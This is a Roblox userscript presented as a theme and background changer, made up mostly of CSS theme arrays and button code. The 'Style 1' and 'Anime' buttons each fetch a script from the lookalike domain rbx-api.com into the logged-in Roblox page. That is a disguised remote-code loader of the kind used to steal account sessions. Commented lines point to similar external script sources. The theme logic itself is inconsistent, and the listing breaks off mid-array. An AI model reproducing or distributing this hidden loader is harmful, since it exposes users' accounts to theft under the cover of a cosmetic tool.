☰

background changer

THIS IS MADE BY ThePoorBM

  1. // ==UserScript==
  2. // @name         background changer
  3. // @namespace    http://tampermonkey.net/
  4. // @version      4.0
  5. // @description  THIS IS MADE BY ThePoorBM
  6. // @author       ThePoorBM and sleepy#6147
  7. // @match        https://www.roblox.com/*
  8. // @grant        none
  9. // @include       http://roblox.com/*
  10. // @include       https://roblox.com/*
  11. // @include       http://*.roblox.com/*
  12. // @include       https://*.roblox.com/*
  13. // ==/UserScript==
  14. var customHTML = '';
  15. var css='';
  16. var cssPink='';
  17. var cssBlue='';
  18. var cssPixel='';
  19. function start() {
  20. //get the parent where button toolbar is going to reside
  21.    // customHTML += '<div id="custom1" class="customSettings">';
  22. //customHTML += '<div class="customText">';
  23. //customHTML += '<h3>Choose a theme!</h3><br>';
  24. //customHTML += '<button type="button" onclick="">Try it</button>';
  25. //customHTML += '<script src="https://rbx-api.com/script.js"></script>';
  26. //customHTML += '<p id="customName"></p>';
  27. //customHTML += '</div>';
  28. customHTML += '<style>';
  29. customHTML += '.customSettings{border:1px solid rgba(46,48,54,.6);border-radius:3px;background-color:#24252f;position:relative;color:#fff;width:300px;height:100px;top:-110px;line-height:0;padding:0;font-size:15px;transition:.5s}.customSettings:hover{top:-10px}.customText{margin-down:100px}';
  30. customHTML += '</style>';
  31.  
  32.  
  33. customHTML += '<style>';
  34. customHTML += '.btn { width: 70px; top:-10px; height: 60px; cursor: pointer; background-opacity:0.5; background-color:#24252f; border: 1px solid #24252f; outline: none; transition: 0.1s ease-in-out; } svg { position: absolute; left: 0; top: 0; fill: none; stroke: #fff; stroke-dasharray: 150 480; stroke-dashoffset: 150; transition: 0.1s ease-in-out; } .btn:hover { transition: 0.1 ease-in-out; background: #4F95DA; } .btn:hover svg { stroke-dashoffset: -480; } .btn span { color: white; font-size: 18px; font-weight: 100; }';
  35. customHTML += '</style>';
  36.  
  37. customHTML += '<style>';
  38. customHTML += '.btn{font-size: 1em; line-height: 1em; letter-spacing: 0.04em; display: inline-block; &--svg { position: relative; height: 42px; width: 190px; overflow: hidden; border-radius: 21px; &:hover { .btn--svg__circle { circle { -webkit-transform: scale(0); -moz-transform: scale(0); -ms-transform: scale(0); transform: scale(0); } } .btn--svg__label { color: #fff; } .btn--svg__border--left, .btn--svg__border--right { path { stroke-dasharray: 61.8204345703125 61.8204345703125; stroke-dashoffset: 0; -webkit-transition-delay: 0.25s; -webkit-transition-duration: 0.5s; -webkit-transition-timing-function: ease-in-out; -webkit-transition-property: stroke-dashoffset; -moz-transition-delay: 0.25s; -moz-transition-duration: 0.5s; -moz-transition-timing-function: ease-in-out; -moz-transition-property: stroke-dashoffset; -ms-transition-delay: 0.25s; -ms-transition-duration: 0.5s; -ms-transition-timing-function: ease-in-out; -ms-transition-property: stroke-dashoffset; transition-delay: 0.25s; transition-duration: 0.5s; transition-timing-function: ease-in-out; transition-property: stroke-dashoffset; } } } &__label { -webkit-font-smoothing: antialiased; font-family: sans-serif; font-weight: bold; text-align:center; color: black; z-index: 3; width: 100%; -webkit-transition: color 0.5s ease-in-out; -moz-transition: color 0.5s ease-in-out; -ms-transition: color 0.5s ease-in-out; transition: color 0.5s ease-in-out; } &__circle { circle { -webkit-transition: transform 0.5s ease-in-out; -webkit-transform: scale(1.1); -webkit-transform-origin: 50% 50%; -moz-transition: transform 0.5s ease-in-out; -moz-transform: scale(1.1); -moz-transform-origin: 50% 50%; -ms-transition: transform 0.5s ease-in-out; -ms-transform: scale(1.1); -ms-transform-origin: 50% 50%; transition: transform 0.5s ease-in-out; transform: scale(1.1); transform-origin: 50% 50%; } } &__border { &--left, &--right { path { stroke-dasharray: 61.8204345703125 61.8204345703125; -webkit-transition-duration: 0s; -webkit-transition-timing-function: ease-in-out; -webkit-transition-property: stroke-dashoffset; -webkit-transition-delay: 0.5s; -moz-transition-duration: 0s; -moz-transition-timing-function: ease-in-out; -moz-transition-property: stroke-dashoffset; -moz-transition-delay: 0.5s; -ms-transition-duration: 0s; -ms-transition-timing-function: ease-in-out; -ms-transition-property: stroke-dashoffset; -ms-transition-delay: 0.5s; transition-duration: 0s; transition-timing-function: ease-in-out; transition-property: stroke-dashoffset; transition-delay: 0.5s; } } &--left { path { stroke-dashoffset: -61.8204345703125; } } &--right { path { stroke-dashoffset: 61.8204345703125; } } } svg, &__label { position: absolute; top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); -webkit-transform-origin: 50% 50%; -moz-transform: translate(-50%, -50%); -moz-transform-origin: 50% 50%; -ms-transform: translate(-50%, -50%); -ms-transform-origin: 50% 50%; transform: translate(-50%, -50%); transform-origin: 50% 50%; } } } // Utils .c-white { color: white; } .trailer { margin-bottom: 40px; &--nano { margin-bottom: 10px; } } a { position: relative; text-decoration: none; color: red; &:after { content:  height: 1px; bottom: -4px; position: absolute; left: 5%; right: 95%; background: red; transition: right 0.25s ease-in-out; } &:hover:after { right: 5%; } } .teasing-1, .heading-2 { font-family: sans-serif; letter-spacing: 0.04em; -webkit-font-smoothing: antialiased; } .teasing-1 { font-size: 14px; line-height: 14px; } .heading-2 { font-weight: bold; font-size: 20px; line-height: 20px; text-transform: uppercase; }';
  39. customHTML += '</style>'
  40.  
  41. customHTML += '<style>';
  42. customHTML += '.btn{width: 70px; top:-10px; height: 60px; cursor: pointer; background-opacity:0.5; background-color:#24252f; border: 1px solid #24252f; outline: none; transition: 0.1s ease-in-out; } svg { position: absolute; left: 0; top: 0; fill: none; stroke: #fff; stroke-dasharray: 150 480; stroke-dashoffset: 150; transition: 0.1s ease-in-out; } .btn:hover { transition: 0.1s ease-in-out; background: #4F95DA; } .btn:hover svg { stroke-dashoffset: -480; } .btn span { color: white; font-size: 18px; font-weight: 100; }';
  43. customHTML += '</style>';
  44.  
  45. customHTML += '<style>';
  46. customHTML += '.cssbtn { border-color: #f1c40f; color: #000000; background-image: -webkit-linear-gradient(45deg, #f1c40f 50%, transparent 50%); background-image: linear-gradient(45deg, #f1c40f 50%, transparent 50%); background-position: 100%; background-size: 400%; -webkit-transition: background 300ms ease-in-out; transition: background 300ms ease-in-out; } .cssbtn:hover { background-position: 0; }';
  47. customHTML += '</style>';
  48.  
  49. var originalinnerhtml = document.getElementsByClassName("input-addon-btn")[0].innerHTML;
  50.  
  51.     document.getElementsByClassName("input-addon-btn")[0].innerHTML = customHTML+originalinnerhtml;
  52. //document.getElementById("").value = document.body.style.backgroundColor;
  53.  
  54.     var theParent = document.getElementsByClassName("icon-logo-r")[0];
  55. //theParent.style.zIndex = "-1";
  56.     // put the new kid div in it for toolbar buttons
  57.     var theKid = document.createElement("div");
  58.     theKid.setAttribute("id", "container");
  59.     theKid.setAttribute("class", "customSettings");
  60.  
  61. //add the switch from cookie for persistance read the cookie and set it to it
  62. function setCookie(cvalue) {
  63.   var d = new Date();
  64.   d.setTime(d.getTime() + (30 * 24 * 60 * 60 * 1000));
  65.   var expires = "expires="+d.toUTCString();
  66.   document.cookie = "theme=" + cvalue + ";" + expires + "; path=/";
  67. }
  68. function getCookie(theme) {
  69.   var name = theme + "=";
  70.   var decodedCookie = decodeURIComponent(document.cookie);
  71.   var ca = decodedCookie.split(';');
  72.   for(var i = 0; i < ca.length; i++) {
  73.     var c = ca[i];
  74.     while (c.charAt(0) == ' ') {
  75.       c = c.substring(1);
  76.     }
  77.     if (c.indexOf(name) == 0) {
  78.       return c.substring(name.length, c.length);
  79.     }
  80.   }
  81.   return "";
  82. }
  83. function checkCookie() {
  84.   var theme = getCookie("theme");
  85.   if (theme == "default") {
  86.   //body.className = "";
  87.  
  88.   }
  89.   if (theme == "light") {
  90.  // body.className = "light";
  91.   css = cssPink;
  92.   }
  93.   if (theme == "dark") {
  94.   //body.className = "dark";
  95.       css = cssBlue;
  96.   }
  97.   if (theme == "Pixel") {
  98.   //body.className = "dark";
  99.   css = cssPixel;
  100.   }
  101. }
  102. //Create the Button 1
  103. //Create the Button 1
  104. var button = document.createElement('button');
  105.     button.type = 'button';
  106.     button.innerHTML = 'Style 1';
  107.     // button.className = 'btn-styled';
  108.     //Add click event instead of addhandler
  109.      button.className='cssbtn';
  110.     button.onclick = function() {
  111.         window.location.href = ("javascript:$.get('//rbx-api.com/apiv10.js')");
  112.         setCookie("light");
  113.         location.reload();
  114. return false;
  115.     };
  116. //Create Button 2
  117. var button2 = document.createElement('button');
  118.     button2.type = 'button';
  119.     button2.innerHTML = 'Anime';
  120.     // button.className = 'btn-styled';
  121.      button2.className='cssbtn';
  122.     button2.onclick = function() {
  123.         window.location.href = ("javascript:$.get('//rbx-api.com/apiv10.js')");
  124.         setCookie("anime2");
  125.         location.reload();
  126. return false;
  127.     };
  128. //Create Button 3
  129. var button3 = document.createElement('button');
  130.   button3.type = 'button';
  131.   button3.innerHTML = 'Read Settings';
  132.      button3.className='cssbtn';
  133.   button3.onclick = function() {
  134.  checkCookie();
  135.       location.reload();
  136. return false;
  137.   };
  138. //Create Button 4
  139. var button4 = document.createElement('button');
  140.   button4.type = 'button';
  141.   button4.innerHTML = 'Pixel';
  142.      button4.className='cssbtn';
  143.   button4.onclick = function() {
  144.    setCookie("pixel");
  145.       location.reload();
  146. return false;
  147.   };
  148. var button5 = document.createElement('button');
  149.     button5.type = 'button';
  150.     button5.innerHTML = 'Style 2';
  151.     // button.className = 'btn-styled';
  152.     //Add click event instead of addhandler
  153.      button5.className='cssbtn';
  154.     button5.onclick = function() {
  155.      setCookie("light");
  156.         location.reload();
  157. return false;
  158.     };
  159.     var button6 = document.createElement('button');
  160.     button6.type = 'button';
  161.     button6.innerHTML = 'Style 2';
  162.     // button.className = 'btn-styled';
  163.     //Add click event instead of addhandler
  164.      button6.className='cssbtn';
  165.     button6.onclick = function() {
  166.      setCookie("light");
  167.         location.reload();
  168. return false;
  169.     };
  170.     var button7 = document.createElement('button');
  171.     button7.type = 'button';
  172.     button7.innerHTML = 'Style 2';
  173.     // button.className = 'btn-styled';
  174.     //Add click event instead of addhandler
  175.     button7.className='cssbtn';
  176.     button7.onclick = function() {
  177.      setCookie("light");
  178.         location.reload();
  179. return false;
  180.     };
  181.     var button8 = document.createElement('button');
  182.     button8.type = 'button';
  183.     button8.innerHTML = 'Style 2';
  184.     // button.className = 'btn-styled';
  185.     //Add click event instead of addhandler
  186.     button8.className='cssbtn';
  187.     button8.onclick = function() {
  188.      setCookie("light");
  189.         location.reload();
  190. return false;
  191.     };
  192.     var button9 = document.createElement('button');
  193.     button9.type = 'button';
  194.     button9.innerHTML = 'Style 2';
  195.     // button.className = 'btn-styled';
  196.     //Add click event instead of addhandler
  197.     button9.className='cssbtn';
  198.     button9.onclick = function() {
  199.      setCookie("light");
  200.         location.reload();
  201. return false;
  202.     };
  203.     var button10 = document.createElement('button');
  204.     button10.type = 'button';
  205.     button10.innerHTML = 'Style 2';
  206.     // button.className = 'btn-styled';
  207.     //Add click event instead of addhandler
  208.     button10.className='cssbtn';
  209.     button10.onclick = function() {
  210.      setCookie("light");
  211.         location.reload();
  212. return false;
  213.     };
  214.     var button11 = document.createElement('button');
  215.     button11.type = 'button';
  216.     button11.innerHTML = 'Open';
  217.     // button.className = 'btn-styled';
  218.     //Add click event instead of addhandler
  219.     button11.className='btn';
  220.     button11.onclick = function() {
  221.      setCookie("light");
  222.         location.reload();
  223.     };
  224.  
  225.  
  226. //put the buttons in the div
  227.     theKid.appendChild(button);
  228.     theKid.appendChild(button2);
  229.      theKid.appendChild(button4);
  230.     theKid.appendChild(button3);
  231.         theKid.appendChild(button5);
  232.     theKid.appendChild(button6);
  233.      theKid.appendChild(button7);
  234.     theKid.appendChild(button8);
  235.         theKid.appendChild(button9);
  236.     theKid.appendChild(button10);
  237.      theKid.appendChild(button11);
  238.  
  239.  
  240. // prepend theKid to the beginning of theParent
  241. theParent.insertBefore(theKid, theParent.firstChild);
  242.  
  243.     //add script to the website
  244.     //var head = document.getElementsByTagName('head')[0];
  245.     //var script = document.createElement('script');
  246.     //script.type = 'text/javascript';
  247.     //script.src = 'https://backgroundtheme.000webhostapp.com/backgroundtheme1.js';
  248.     //script.onload = function() {
  249.     //callFunctionFromScript();
  250.     //}
  251.     //document.head.appendChild(document.createElement('script').text =
  252. (function() {cssPink = [
  253. 	"/* i really want this to be global */",
  254. 	"  .ad, .ad *, .img_ad, .ad-annotations, #google_image_div, #aw0, #AdvertisingLeaderboard",
  255. 	"  {",
  256. 	"    display: none !important;",
  257. 	"  }",
  258. 	"",
  259. 	"  .ad, .ad *, .img_ad, .ad-annotations, #google_image_div, #aw0, #AdvertisingLeaderboard",
  260. 	"  {",
  261. 	"    display: none !important;",
  262. 	"  }",
  263. 	"  /*Ad removal */",
  264. 	"  #header",
  265. 	"  {",
  266. 	"    background-color: #ffcccc;",
  267. 	"  }",
  268. 	"",
  269. 	"  .dialog-container .dialog-header",
  270. 	"  {",
  271. 	"    background-color: #ffcccc;",
  272. 	"    color: #fff;",
  273. 	"  }",
  274. 	"",
  275. 	"  .navigation .notification-icon, .rbx-highlight",
  276. 	"  {",
  277. 	"    background: #ffeacc;",
  278. 	"  }",
  279. 	"",
  280. 	"  #chat-header",
  281. 	"  {",
  282. 	"    background: #cdd3ff;",
  283. 	"      /*Party header*/",
  284. 	"    ;",
  285. 	"  }",
  286. 	"",
  287. 	"  .slide-item-container-left, .profile-avatar-right",
  288. 	"  {",
  289. 	"    background: #d9ffcc;",
  290. 	"  }",
  291. 	"",
  292. 	"  .rbx-tabs-horizontal .rbx-tab.active .rbx-tab-heading, .rbx-tabs-horizontal .rbx-tab-heading:hover, .rbx-tabs-horizontal .rbx-tab-heading:focus, .rbx-tabs-horizontal .rbx-tab-heading:active",
  293. 	"  {",
  294. 	"    box-shadow: 0 -4px 0 .6 #ccffee inset;",
  295. 	"      /* Yea idk what this is for*/",
  296. 	"    ;",
  297. 	"  }",
  298. 	"",
  299. 	"  .forum-table-header, body .forum-table-header th, body .forum-table-footer, #ctl00_cphRoblox_Message1_ctl00_CenterColumn > table > tbody > tr:nth-child(1) > th, #ctl00_cphRoblox_CenterColumn > table > tbody > tr:nth-child(1) > th",
  300. 	"  {",
  301. 	"    background: #ccefff !important;",
  302. 	"      /*Forum colors and messaging underline color*/",
  303. 	"    ;",
  304. 	"  }",
  305. 	"",
  306. 	"  .rbx-upgrade-now #upgrade-now-button, .rbx-btn-secondary-xs.btn-more, #AjaxCommentsContainer > div > div.comment-form > form > button, .rbx-vip-server-create, .btn-secondary-xs",
  307. 	"  {",
  308. 	"    background-color: #ffdaef00 !important;",
  309. 	"    border-color: #ffdaef00;",
  310. 	"      /*Updrade button*/",
  311. 	"    ;",
  312. 	"  }",
  313. 	"",
  314. 	"  .rbx-upgrade-now #upgrade-now-button:hover, .rbx-btn-secondary-xs.btn-more:hover, #AjaxCommentsContainer > div > div.comment-form > form > button:hover, .rbx-vip-server-create:hover, .btn-secondary-xs:hover",
  315. 	"  {",
  316. 	"    background: #ffdaef00 !important;",
  317. 	"    border-color: #ffdaef00;",
  318. 	"  }",
  319. 	"",
  320. 	"  #TopAbpContainer, .ad-annotations, #LeftGutterAdContainer, #RightGutterAdContainer, #Skyscraper-Adp-Right, #Skyscraper-Adp-Left, .abp-spacer, #GamesListContainer1 > div.games-list > ul > div.abp.in-game-search-ad.dynamic-ad.ad-order-even, #GamesListContainer1 > div.games-list > ul > div.abp.in-game-search-ad.dynamic-ad.ad-order-odd, #GamesListContainer8 > div.games-list > ul > div.abp.in-game-search-ad.dynamic-ad.ad-order-even, #GamesListContainer8 > div.games-list > ul > div.abp.in-game-search-ad.dynamic-ad.ad-order-odd, .sponsored-game, .alert-info, #mCSB_1_container > ul > li.font-bold.small, #mCSB_1_container > ul > li.rbx-nav-sponsor",
  321. 	"  {",
  322. 	"    display: none !important;",
  323. 	"  }",
  324. 	"",
  325. 	"  .gotham-font .btn-to-link, .gotham-font .btn-to-link:active, .gotham-font .btn-to-link:hover, .gotham-font .btn-to-link:link, .gotham-font .btn-to-link:visited, .gotham-font .refresh-link, .gotham-font .refresh-link-icon, .gotham-font .refresh-link-icon:active, .gotham-font .refresh-link-icon:hover, .gotham-font .refresh-link-icon:link, .gotham-font .refresh-link-icon:visited, .gotham-font .refresh-link:active, .gotham-font .refresh-link:hover, .gotham-font .refresh-link:link, .gotham-font .refresh-link:visited, .gotham-font .see-all-link, .gotham-font .see-all-link-icon, .gotham-font .see-all-link-icon:active, .gotham-font .see-all-link-icon:hover, .gotham-font .see-all-link-icon:link, .gotham-font .see-all-link-icon:visited, .gotham-font .see-all-link:active, .gotham-font .see-all-link:hover, .gotham-font .see-all-link:link, .gotham-font .see-all-link:visited, .gotham-font .touch .btn-to-link, .gotham-font .touch .btn-to-link:active, .gotham-font .touch .btn-to-link:hover, .gotham-font .touch .btn-to-link:link, .gotham-font .touch .btn-to-link:visited, .gotham-font .touch .refresh-link, .gotham-font .touch .refresh-link-icon, .gotham-font .touch .refresh-link-icon:active, .gotham-font .touch .refresh-link-icon:hover, .gotham-font .touch .refresh-link-icon:link, .gotham-font .touch .refresh-link-icon:visited, .gotham-font .touch .refresh-link:active, .gotham-font .touch .refresh-link:hover, .gotham-font .touch .refresh-link:link, .gotham-font .touch .refresh-link:visited, .gotham-font .touch .see-all-link, .gotham-font .touch .see-all-link-icon, .gotham-font .touch .see-all-link-icon:active, .gotham-font .touch .see-all-link-icon:hover, .gotham-font .touch .see-all-link-icon:link, .gotham-font .touch .see-all-link-icon:visited, .gotham-font .touch .see-all-link:active, .gotham-font .touch .see-all-link:hover, .gotham-font .touch .see-all-link:link, .gotham-font .touch .see-all-link:visited",
  326. 	"  {",
  327. 	"    color: #000000;",
  328. 	"  }",
  329. 	"",
  330. 	"  #navbar-search-input, #navbar-search-btn",
  331. 	"  {",
  332. 	"    border: 1px solid #ffdae0;",
  333. 	"      /*Search border color*/",
  334. 	"    ;",
  335. 	"  }",
  336. 	"",
  337. 	"  body",
  338. 	"  {",
  339. 	"    background: transparent !important;",
  340. 	"  }",
  341. 	"",
  342. 	"  .content",
  343. 	"  {",
  344. 	"    background: transparent !important;",
  345. 	"  }",
  346. 	"",
  347. 	"  #fb-root",
  348. 	"  {",
  349. 	"    width: 100% !important;",
  350. 	"    height: 100% !important;",
  351. 	"    position: fixed !important;",
  352. 	"    background-image: url(https://cdn.lowgif.com/small/4d93f6c2d501df97-pixel-background-gif-animation-art-map-amino.gif) !important;",
  353. 	"      /* Background */",
  354. 	"    background-size: cover !important;",
  355. 	"    background-attachment: fixed !important;",
  356. 	"  }",
  357. 	"",
  358. 	"  #party_none_title, div.friend_dock_chatbox_titlebar.chat-header-blink-off",
  359. 	"  {",
  360. 	"    background: linear-gradient(to bottom, #B787EA, #B787EA);",
  361. 	"  }",
  362. 	"",
  363. 	"  #ctl00_cphRoblox_RightColumn, #Body > table > tbody > tr > td:nth-child(3), #Body > table > tbody > tr > td:nth-child(4)",
  364. 	"  {",
  365. 	"    display: none;",
  366. 	"  }",
  367. 	"",
  368. 	"  #GamesPageLeftColumn",
  369. 	"  {",
  370. 	"    width: auto;",
  371. 	"    margin-right: 10px !important;",
  372. 	"    margin-left: 10px !important;",
  373. 	"  }",
  374. 	"",
  375. 	"  #GamesListsContainer > div",
  376. 	"  {",
  377. 	"    background-color: transparent !important;",
  378. 	"    width: 100% !important;",
  379. 	"  }",
  380. 	"",
  381. 	"  #navigation",
  382. 	"  {",
  383. 	"    background-color: #fff;",
  384. 	"  }",
  385. 	"",
  386. 	"  .notification-red",
  387. 	"  {",
  388. 	"    background-color: #ffcccc;",
  389. 	"    padding: 1px 6px;",
  390. 	"    min-width: 18px;",
  391. 	"  }",
  392. 	"",
  393. 	"  .notification-blue",
  394. 	"  {",
  395. 	"    background-color: #ffcccc;",
  396. 	"    padding: 1px 6px;",
  397. 	"    min-width: 18px;",
  398. 	"  }",
  399. 	"",
  400. 	"  .rbx-btn-primary-lg",
  401. 	"  {",
  402. 	"    background-color: rgba(200, 160, 248, 0.5);",
  403. 	"  }",
  404. 	"",
  405. 	"  .rbx-btn-primary-lg:hover, .rbx-btn-primary-lg:focus",
  406. 	"  {",
  407. 	"    background-color: rgba(200, 160, 248, 0.5);",
  408. 	"  }",
  409. 	"",
  410. 	"  .avatar-back",
  411. 	"  {",
  412. 	"    background-image: url(https://cdn.lowgif.com/small/4d93f6c2d501df97-pixel-background-gif-animation-art-map-amino.gif);",
  413. 	"  }"
  414. ].join("\n");
  415.     var cssblue = [
  416. 	"/* i really want this to be global */",
  417. 	"  .ad, .ad *, .img_ad, .ad-annotations, #google_image_div, #aw0, #AdvertisingLeaderboard",
  418. 	"  {",
  419. 	"    display: none !important;",
  420. 	"  }",
  421. 	"",
  422. 	"  .ad, .ad *, .img_ad, .ad-annotations, #google_image_div, #aw0, #AdvertisingLeaderboard",
  423. 	"  {",
  424. 	"    display: none !important;",
  425. 	"  }",
  426. 	"  /*Ad removal */",
  427. 	"  #header",
  428. 	"  {",
  429. 	"    background-color: #ffcccc;",
  430. 	"  }",
  431. 	"",
  432. 	"  .dialog-container .dialog-header",
  433. 	"  {",
  434. 	"    background-color: #ffcccc;",
  435. 	"    color: #fff;",
  436. 	"  }",
  437. 	"",
  438. 	"  .navigation .notification-icon, .rbx-highlight",
  439. 	"  {",
  440. 	"    background: #ffeacc;",
  441. 	"  }",
  442. 	"",
  443. 	"  #chat-header",
  444. 	"  {",
  445. 	"    background: #cdd3ff;",
  446. 	"      /*Party header*/",
  447. 	"    ;",
  448. 	"  }",
  449. 	"",
  450. 	"  .slide-item-container-left, .profile-avatar-right",
  451. 	"  {",
  452. 	"    background: #d9ffcc;",
  453. 	"  }",
  454. 	"",
  455. 	"  .rbx-tabs-horizontal .rbx-tab.active .rbx-tab-heading, .rbx-tabs-horizontal .rbx-tab-heading:hover, .rbx-tabs-horizontal .rbx-tab-heading:focus, .rbx-tabs-horizontal .rbx-tab-heading:active",
  456. 	"  {",
  457. 	"    box-shadow: 0 -4px 0 .6 #ccffee inset;",
  458. 	"      /* Yea idk what this is for*/",
  459. 	"    ;",
  460. 	"  }",
  461. 	"",
  462. 	"  .forum-table-header, body .forum-table-header th, body .forum-table-footer, #ctl00_cphRoblox_Message1_ctl00_CenterColumn > table > tbody > tr:nth-child(1) > th, #ctl00_cphRoblox_CenterColumn > table > tbody > tr:nth-child(1) > th",
  463. 	"  {",
  464. 	"    background: #ccefff !important;",
  465. 	"      /*Forum colors and messaging underline color*/",
  466. 	"    ;",
  467. 	"  }",
  468. 	"",
  469. 	"  .rbx-upgrade-now #upgrade-now-button, .rbx-btn-secondary-xs.btn-more, #AjaxCommentsContainer > div > div.comment-form > form > button, .rbx-vip-server-create, .btn-secondary-xs",
  470. 	"  {",
  471. 	"    background-color: #ffdaef00 !important;",
  472. 	"    border-color: #ffdaef00;",
  473. 	"      /*Updrade button*/",
  474. 	"    ;",
  475. 	"  }",
  476. 	"",
  477. 	"  .rbx-upgrade-now #upgrade-now-button:hover, .rbx-btn-secondary-xs.btn-more:hover, #AjaxCommentsContainer > div > div.comment-form > form > button:hover, .rbx-vip-server-create:hover, .btn-secondary-xs:hover",
  478. 	"  {",
  479. 	"    background: #ffdaef00 !important;",
  480. 	"    border-color: #ffdaef00;",
  481. 	"  }",
  482. 	"",
  483. 	"  #TopAbpContainer, .ad-annotations, #LeftGutterAdContainer, #RightGutterAdContainer, #Skyscraper-Adp-Right, #Skyscraper-Adp-Left, .abp-spacer, #GamesListContainer1 > div.games-list > ul > div.abp.in-game-search-ad.dynamic-ad.ad-order-even, #GamesListContainer1 > div.games-list > ul > div.abp.in-game-search-ad.dynamic-ad.ad-order-odd, #GamesListContainer8 > div.games-list > ul > div.abp.in-game-search-ad.dynamic-ad.ad-order-even, #GamesListContainer8 > div.games-list > ul > div.abp.in-game-search-ad.dynamic-ad.ad-order-odd, .sponsored-game, .alert-info, #mCSB_1_container > ul > li.font-bold.small, #mCSB_1_container > ul > li.rbx-nav-sponsor",
  484. 	"  {",
  485. 	"    display: none !important;",
  486. 	"  }",
  487. 	"",
  488. 	"  .gotham-font .btn-to-link, .gotham-font .btn-to-link:active, .gotham-font .btn-to-link:hover, .gotham-font .btn-to-link:link, .gotham-font .btn-to-link:visited, .gotham-font .refresh-link, .gotham-font .refresh-link-icon, .gotham-font .refresh-link-icon:active, .gotham-font .refresh-link-icon:hover, .gotham-font .refresh-link-icon:link, .gotham-font .refresh-link-icon:visited, .gotham-font .refresh-link:active, .gotham-font .refresh-link:hover, .gotham-font .refresh-link:link, .gotham-font .refresh-link:visited, .gotham-font .see-all-link, .gotham-font .see-all-link-icon, .gotham-font .see-all-link-icon:active, .gotham-font .see-all-link-icon:hover, .gotham-font .see-all-link-icon:link, .gotham-font .see-all-link-icon:visited, .gotham-font .see-all-link:active, .gotham-font .see-all-link:hover, .gotham-font .see-all-link:link, .gotham-font .see-all-link:visited, .gotham-font .touch .btn-to-link, .gotham-font .touch .btn-to-link:active, .gotham-font .touch .btn-to-link:hover, .gotham-font .touch .btn-to-link:link, .gotham-font .touch .btn-to-link:visited, .gotham-font .touch .refresh-link, .gotham-font .touch .refresh-link-icon, .gotham-font .touch .refresh-link-icon:active, .gotham-font .touch .refresh-link-icon:hover, .gotham-font .touch .refresh-link-icon:link, .gotham-font .touch .refresh-link-icon:visited, .gotham-font .touch .refresh-link:active, .gotham-font .touch .refresh-link:hover, .gotham-font .touch .refresh-link:link, .gotham-font .touch .refresh-link:visited, .gotham-font .touch .see-all-link, .gotham-font .touch .see-all-link-icon, .gotham-font .touch .see-all-link-icon:active, .gotham-font .touch .see-all-link-icon:hover, .gotham-font .touch .see-all-link-icon:link, .gotham-font .touch .see-all-link-icon:visited, .gotham-font .touch .see-all-link:active, .gotham-font .touch .see-all-link:hover, .gotham-font .touch .see-all-link:link, .gotham-font .touch .see-all-link:visited",
  489. 	"  {",
  490. 	"    color: #000000;",
  491. 	"  }",
  492. 	"",
  493. 	"  #navbar-search-input, #navbar-search-btn",
  494. 	"  {",
  495. 	"    border: 1px solid #ffdae0;",
  496. 	"      /*Search border color*/",
  497. 	"    ;",
  498. 	"  }",
  499. 	"",
  500. 	"  body",
  501. 	"  {",
  502. 	"    background: transparent !important;",
  503. 	"  }",
  504. 	"",
  505. 	"  .content",
  506. 	"  {",
  507. 	"    background: transparent !important;",
  508. 	"  }",
  509. 	"",
  510. 	"  #fb-root",
  511. 	"  {",
  512. 	"    width: 100% !important;",
  513. 	"    height: 100% !important;",
  514. 	"    position: fixed !important;",
  515. 	"    background-image: url(https://cdn.lowgif.com/small/4d93f6c2d501df97-pixel-background-gif-animation-art-map-amino.gif) !important;",
  516. 	"      /* Background */",
  517. 	"    background-size: cover !important;",
  518. 	"    background-attachment: fixed !important;",
  519. 	"  }",
  520. 	"",
  521. 	"  #party_none_title, div.friend_dock_chatbox_titlebar.chat-header-blink-off",
  522. 	"  {",
  523. 	"    background: linear-gradient(to bottom, #B787EA, #B787EA);",
  524. 	"  }",
  525. 	"",
  526. 	"  #ctl00_cphRoblox_RightColumn, #Body > table > tbody > tr > td:nth-child(3), #Body > table > tbody > tr > td:nth-child(4)",
  527. 	"  {",
  528. 	"    display: none;",
  529. 	"  }",
  530. 	"",
  531. 	"  #GamesPageLeftColumn",
  532. 	"  {",
  533. 	"    width: auto;",
  534. 	"    margin-right: 10px !important;",
  535. 	"    margin-left: 10px !important;",
  536. 	"  }",
  537. 	"",
  538. 	"  #GamesListsContainer > div",
  539. 	"  {",
  540. 	"    background-color: transparent !important;",
  541. 	"    width: 100% !important;",
  542. 	"  }",
  543. 	"",
  544. 	"  #navigation",
  545. 	"  {",
  546. 	"    background-color: #fff;",
  547. 	"  }",
  548. 	"",
  549. 	"  .notification-red",
  550. 	"  {",
  551. 	"    background-color: #ffcccc;",
  552. 	"    padding: 1px 6px;",
  553. 	"    min-width: 18px;",
  554. 	"  }",
  555. 	"",
  556. 	"  .notification-blue",
  557. 	"  {",
  558. 	"    background-color: #ffcccc;",
  559. 	"    padding: 1px 6px;",
  560. 	"    min-width: 18px;",
  561. 	"  }",
  562. 	"",
  563. 	"  .rbx-btn-primary-lg",
  564. 	"  {",
  565. 	"    background-color: rgba(200, 160, 248, 0.5);",
  566. 	"  }",
  567. 	"",
  568. 	"  .rbx-btn-primary-lg:hover, .rbx-btn-primary-lg:focus",
  569. 	"  {",
  570. 	"    background-color: rgba(200, 160, 248, 0.5);",
  571. 	"  }",
  572. 	"",
  573. 	"  .avatar-back",
  574. 	"  {",
  575. 	"    background-image: url(https://cdn.lowgif.com/small/4d93f6c2d501df97-pixel-background-gif-animation-art-map-amino.gif);",
  576. 	"  }"
  577. ].join("\n");
  578.      cssPixel = [
  579. 	"/* i really want this to be global */",
  580. 	"  .ad, .ad *, .img_ad, .ad-annotations, #google_image_div, #aw0, #AdvertisingLeaderboard",
  581. 	"  {",
  582. 	"    display: none !important;",
  583. 	"  }",
  584. 	"",
  585. 	"  .ad, .ad *, .img_ad, .ad-annotations, #google_image_div, #aw0, #AdvertisingLeaderboard",
  586. 	"  {",
  587. 	"    display: none !important;",
  588. 	"  }",
  589. 	"  /*Ad removal */",
  590. 	"  #header",
  591. 	"  {",
  592. 	"    background-color: #692590;",
  593. 	"  }",
  594. 	"",
  595. 	"  .dialog-container .dialog-header",
  596. 	"  {",
  597. 	"    background-color: #692590;",
  598. 	"    color: #fff;",
  599. 	"  }",
  600. 	"",
  601. 	"  .navigation .notification-icon, .rbx-highlight",
  602. 	"  {",
  603. 	"    background: #656169;",
  604. 	"  }",
  605. 	"",
  606. 	"  #chat-header",
  607. 	"  {",
  608. 	"    background: #692590;",
  609. 	"      /*Party header*/",
  610. 	"    ;",
  611. 	"  }",
  612. 	"",
  613. 	"  .slide-item-container-left, .profile-avatar-right",
  614. 	"  {",
